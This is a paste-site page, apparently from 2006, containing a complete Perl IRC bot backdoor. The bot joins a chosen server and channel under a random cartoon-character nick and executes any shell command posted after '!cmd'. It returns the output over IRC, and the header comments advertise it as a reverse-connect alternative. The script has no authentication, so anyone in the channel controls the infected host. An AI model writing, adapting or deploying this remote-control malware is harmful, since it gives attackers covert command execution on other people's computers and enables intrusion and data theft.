All pastes #138435 Raw Edit

Miscellany

public text v1 · immutable
#138435 ·published 2006-08-19 04:10 UTC
rendered paste body
#!/usr/bin/perl

########################################################################
#  Simple irc bot that joins a server and channel where is waits for
#  commands from you to run on the host computer.
#
#  for example: !cmd <yourcommand> !cmd netstat -la
# 
#  Its a simple way for a reverse connect, difference is your not 
#  connected directly to the host, your connected to the irc server.
# 
#  Some code was snipped from |Preddy|'s bot for random name change, 
#
#  z00m! z_z00m[at]yahoo.[co].[uk]
#
########################################################################




use IO::Socket;

my @arrayname = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto greenarrow greenlantern
grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker julius kal-el kalel linus liz lucy lyman
marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown wolverine wolveroach woodstock xmen ziggy zippy zonker
/; 
my $draw2 = @arrayname[rand @arrayname];



$server = 'irc.server.here.com'; # change to server of your choice
$port = '6667';
$user = 'dude dude dude :dude';
$nick = $draw2;
$chan = '#yourchannel'; # change to channel of your choice


$con = IO::Socket::INET->new(PeerAddr=>$server,
                             PeerPort=>$port,
                             Proto=>'tcp',
                             Timeout=>'30') || print "Error: Connection\n";

print $con "USER $user\r\n";
print $con "NICK $nick\r\n";
print $con "JOIN $chan\r\n";

while($answer = <$con>)
{


   if($answer =~ m/\!cmd/)
   {
      if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
      {
         $xnick = $1;
         $xident = $2;
         $xhost = $3;
         $xchannel = $4;
         $xtext = $5;

         @words = split(" ",$xtext);

         $space = (" ");

         $word = $words[1].$space.$words[2].$space.$words[3].$space.$words[4].$space.$words[5].$space.$words[6].$space.$words[7].$space.$words[8].$space.$words[9].$space.$words[10].$space.$words[11].$space.$words[12].$space.$words[13].$space.$words[14].$space.$words[15].$space.$words[16].$space.$words[17].$space.$words[18].$space.$words[19].$space.$words[20];

         @command = qx($word);

         foreach $line (@command)
         {
            print $con "privmsg $xnick $line\n";
         }
      }
   }

#answer to ping requests
if($answer =~ m/^PING (.*?)$/gi)
{
   print $con "PONG ".$1."\n";
}

print $answer;

}